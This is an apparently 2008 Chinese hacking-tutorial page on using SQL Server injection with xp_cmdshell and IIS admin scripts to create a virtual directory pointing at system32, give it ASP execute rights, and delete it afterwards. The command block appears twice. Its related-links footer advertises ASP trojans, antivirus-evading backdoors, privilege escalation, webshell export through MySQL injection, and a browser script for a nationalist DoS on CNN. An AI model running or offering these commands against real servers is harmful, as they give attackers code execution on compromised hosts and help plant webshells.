sql server注入建立虛擬目錄的方法
更新時(shí)間：2008年01月20日 15:59:13 作者：
sql server注入建立虛擬目錄的方法
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\winnt\system32"'
建立虛擬目錄win,指向c:\winnt\system32
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture'
讓win句有解析asp腳本權(quán)限
exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/win/"
刪除虛擬目錄。
找不到web絕對(duì)路徑的一種解決辦法，
http://xxx.com/win
403錯(cuò)誤，表示虛擬目錄建好了。。。
建立虛擬目錄win,指向c:\winnt\system32
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture'
讓win句有解析asp腳本權(quán)限
exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/win/"
刪除虛擬目錄。
找不到web絕對(duì)路徑的一種解決辦法，
http://xxx.com/win
403錯(cuò)誤，表示虛擬目錄建好了。。。
相關(guān)文章
這篇文章主要介紹了讓你變成ASP木馬高手2007-01-01
利用方式:一個(gè)典型的sql注射漏洞,按照公告里說(shuō)的用2008-05-05
巧用端口映射 不通過(guò)網(wǎng)關(guān)開(kāi)放任意內(nèi)網(wǎng)(LCX.exe)
巧用端口映射 不通過(guò)網(wǎng)關(guān)開(kāi)放任意內(nèi)網(wǎng)(LCX.exe)...2007-02-02
Ring的權(quán)限提升21中方法...2007-06-06
讓侮辱中國(guó)人的法國(guó)cnn網(wǎng)站完蛋
讓侮辱中國(guó)人的法國(guó)cnn網(wǎng)站完蛋！??！只要你幫助打開(kāi)一個(gè)網(wǎng)頁(yè)??！ 如何DOS攻擊CNN網(wǎng)站? ?將這些文字復(fù)制,并保存成一個(gè)html文件,然后在瀏覽器中打開(kāi),按提示啟用腳本,然后,每隔3秒鐘將自動(dòng)連接一次cnn網(wǎng)站(注意,是自動(dòng)的,只要你不關(guān)閉瀏覽器窗口就可以了,也不會(huì)影響你的其它操作),如果全世界中國(guó)人聯(lián)合起來(lái),那么cnn網(wǎng)站絕對(duì)崩潰2008-04-04
許多網(wǎng)友都想知道“QQ聊天記錄刪除了怎么恢復(fù)”，因?yàn)镼Q聊天記錄對(duì)于我們來(lái)說(shuō)是很重要的數(shù)據(jù)。下面我們就來(lái)介紹下如何解決QQ聊天記錄刪除恢復(fù)的問(wèn)題2012-03-03
MySQL注入中導(dǎo)出字段內(nèi)容的研究通過(guò)注入導(dǎo)出WebShell
大家都知道，在MySQL中，無(wú)法像MSSQL那樣執(zhí)行script.asp?id=1;insert into table (field) values('angel');--來(lái)插入數(shù)據(jù)，因?yàn)镸ySQL里最多就是用union聯(lián)合查詢。2008-05-05
PHP服務(wù)端SESSION管理工具提供下載...2007-10-10
本站只是提供知識(shí)，方便大家以后的查殺木馬，不是用來(lái)搞破壞2008-01-01
幾款雙功能免殺超強(qiáng)版asp小馬，對(duì)于需要查找后門(mén)的朋友可以參考下。2010-09-09